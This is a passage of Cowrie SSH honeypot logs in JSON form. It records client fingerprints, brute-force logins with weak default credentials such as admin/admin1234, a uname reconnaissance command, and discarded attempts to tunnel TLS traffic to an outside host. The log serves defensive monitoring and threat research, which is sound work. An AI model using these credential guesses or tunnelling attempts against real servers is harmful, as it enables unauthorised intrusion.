\\x9cX\\xab7\\xa9\\xef}\\x14\\xd7\\xc3\\x0b\\xe4\\x14\\xa1\\x1cK\\xf2gmB&\\xac\\x00-\\xc2m4\\xf0\\xa0\\x10\\xd4_\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x96\\xd3\\x04h\\xf2\\x10\\xa0H!V&h\\xe99u\\x1cN\\xffm\\x8e\\x1f\\x86\\xa7b\\xff\\xa3,\\x95\\xff@\\x1c\\x18 \\xd9n\\xce\\x97\\xb0f\"M\\xdcR\\x870\\xc3\\xa0+li\\x7f\\xc7\\xb4\\x19\\xd5\\x13r\\xca\\xb9\\x83\\xa4\\xd6>\\xa6\\xdd\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9cX\\xab7\\xa9\\xef}\\x14\\xd7\\xc3\\x0b\\xe4\\x14\\xa1\\x1cK\\xf2gmB&\\xac\\x00-\\xc2m4\\xf0\\xa0\\x10\\xd4_\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:06.779481Z","src_ip":"113.164.152.20","session":"90dac1612afd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:07.061332Z","session":"90dac1612afd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:07.248287Z","src_ip":"91.92.40.36","session":"7f38e8218c4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:07.266121Z","src_ip":"91.92.40.36","session":"7f38e8218c4b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:07.337450Z","src_ip":"113.164.152.20","session":"90dac1612afd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf4\\xbeg\\xb7^J/\\xb68\\r\\xfc`gb\\xfdD\\x9f\\xb3bf\\x19[br\\x13{\\x84\\x9ed}Dy \\xa3\\xfe/\\xe6\\x7f\\x13\\xcdf\\xe3\\xd9\\xcbN\\x90S\\x03\\xb6\\x87\\xe2\\xd9c\\x17G\\x13\\xfe\\xbbF\\xc1\\xae\\xe0\\xd3\\x01\\xc0\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xee\\xfb.\\x9d\\xd4\\xe6\\xdb\\x19\\x16]\\xbe\\x84\\xed\\x03\\xcf\\xe2J\\x15.Ekd\\x1b\\xbe0j\\xc8C\\xc1!\\xc0\\r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf4\\xbeg\\xb7^J/\\xb68\\r\\xfc`gb\\xfdD\\x9f\\xb3bf\\x19[br\\x13{\\x84\\x9ed}Dy \\xa3\\xfe/\\xe6\\x7f\\x13\\xcdf\\xe3\\xd9\\xcbN\\x90S\\x03\\xb6\\x87\\xe2\\xd9c\\x17G\\x13\\xfe\\xbbF\\xc1\\xae\\xe0\\xd3\\x01\\xc0\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xee\\xfb.\\x9d\\xd4\\xe6\\xdb\\x19\\x16]\\xbe\\x84\\xed\\x03\\xcf\\xe2J\\x15.Ekd\\x1b\\xbe0j\\xc8C\\xc1!\\xc0\\r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:07.340717Z","src_ip":"113.164.152.20","session":"90dac1612afd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:07.399484Z","src_ip":"103.122.221.179","session":"b279d1498533","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:07.847974Z","src_ip":"113.164.152.20","session":"90dac1612afd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":52136,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1974a079474","protocol":"ssh","message":"New connection: 160.187.180.146:52136 (159.203.135.109:22) [session: c1974a079474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:08.202816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:08.206815Z","src_ip":"160.187.180.146","session":"c1974a079474","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:08.423491Z","src_ip":"160.187.180.146","session":"c1974a079474","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:09.245697Z","src_ip":"91.92.40.36","session":"7f38e8218c4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword1!","message":"login attempt [root/P@ssword1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:09.320652Z","src_ip":"160.187.180.146","session":"c1974a079474","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:09.735385Z","src_ip":"91.92.40.36","session":"7f38e8218c4b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:09.738376Z","src_ip":"91.92.40.36","session":"7f38e8218c4b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:09.934649Z","src_ip":"91.92.40.36","session":"7f38e8218c4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:09.941378Z","src_ip":"91.92.40.36","session":"7f38e8218c4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:10.539455Z","src_ip":"160.187.180.146","session":"c1974a079474","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":55259,"dst_ip":"10.17.0.5","dst_port":22,"session":"884780d8e806","protocol":"ssh","message":"New connection: 173.208.188.210:55259 (10.17.0.5:22) [session: 884780d8e806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:16.575413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:16.579868Z","src_ip":"173.208.188.210","session":"884780d8e806","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":15578,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6dabdf95ad9","protocol":"ssh","message":"New connection: 91.92.40.36:15578 (10.17.0.5:22) [session: e6dabdf95ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:16.695731Z"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:16.735047Z","src_ip":"173.208.188.210","session":"884780d8e806","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:17.267606Z","src_ip":"91.92.40.36","session":"e6dabdf95ad9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:17.817543Z","src_ip":"173.208.188.210","session":"884780d8e806","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:18.114629Z","src_ip":"91.92.40.36","session":"e6dabdf95ad9","protocol":"ssh"}
